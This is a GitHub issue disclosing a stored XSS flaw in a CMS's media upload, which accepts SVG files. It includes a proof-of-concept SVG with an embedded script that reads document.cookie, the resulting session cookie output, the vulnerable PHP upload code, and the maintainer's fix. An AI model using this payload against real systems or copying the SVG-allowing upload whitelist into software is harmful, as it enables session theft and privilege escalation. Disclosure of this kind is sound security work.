

New issue

Jump to bottom

Storage type xss by uploading svg files #52

Closed yaoyao6688 opened this issue on Oct 13, 2019 · 1 comment

Assignees



Projects

Content Editing

yaoyao6688 commented on Oct 13, 2019 • edited

Version impacted

v1.11.4

Vulnerability details(POC)

The file with the suffix .svg saves the following code. After uploading to the server, you can execute any js code. If the ordinary user has permission to upload files, the administrator user accidentally accesses the malicious svg uploaded by the user, then the ordinary user. It is possible to obtain the cookie information of the administrator user, resulting in an increase in the rights of the ordinary user. It is dangerous for the system to allow uploading svg files.

```
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
  <script type="text/javascript">
    alert(document.cookie);
  </script>
</svg>
```

192.168.109.178/?c=admin&action=media



Access the file and find that malicious code has been executed

192.168.109.178/assets/xss.svg



192.168.109.178 显示

PHPSESSID=stauui3b82l0hc5qqrlemb0par;
GSESSIONID=1alczupdzpvpnhbtdue6cv01thm43si60hgih7cnklgvm
am3h8

确定

Vulnerability related code

The media_uploadAction function in /src/core/controllers/admin.php allows uploading svg files

```
function media_uploadAction(){
    if(!gForm::posted()) {
        echo "Permission denied.";
        exit;
    }
    if(isset($_FILES['uploadfiles'])) {
        if (isset($_FILES['uploadfiles']['error'])) if ($_FILES['uploadfiles']['error'] > 0) {
            echo "Error: " . $_FILES['uploadfiles']['error'] . "<br>";
        }
        $path = router::post('path', 'assets');
        if($path[0]!='.') $path='assets';
        $tmp_file = $_FILES['uploadfiles']['tmp_name'];
        $name = htmlentities($_FILES['uploadfiles']['name']);
        if(in_array(pathinfo($name, PATHINFO_EXTENSION),["svg","jpg","jpeg","JPG","JPEG","png","PNG","gif","GIF"])) {
            $path = SITE_PATH.$path.'/'.$name;
            if(!move_uploaded_file($tmp_file, $path)) {
                echo "Error: could not upload file<br>";
            }
        }
    }
}
```

```
$maxWidth = gila::config('maxImgWidth') ?? 0;
$maxHeight = gila::config('maxImgHeight') ?? 0;
if($maxWidth>0 && $maxHeight>0) {
    image::make_thumb($path, $path, $maxWidth, $maxHeight);
}
} else echo "<div class='alert error'>Error: not a media file!</div>";
}

self::mediaAction();
}
```

Repair suggestion

Remove svg files from the list

 **vzuburlis** self-assigned this on Oct 16, 2019

vzuburlis commented on Oct 17, 2019

Member


I will remove svg from uploading for now, but I will let open the issue in hope that we can fins another solution.

 **vzuburlis** added this to Backlog in **Content Editing** on Jan 27, 2020

 **vzuburlis** moved this from Backlog to To do in **Content Editing** on Apr 21, 2020

 **vzuburlis** moved this from To do to In progress in **Content Editing** on Apr 22, 2020

 **vzuburlis** moved this from In progress to Done in **Content Editing** on Apr 30, 2020

 **vzuburlis** closed this as completed on May 1, 2020

Assignees

 **vzuburlis**

Labels

None yet

Projects

No open projects

1 closed project ▾

Milestone

No milestone

Development

No branches or pull requests

2 participants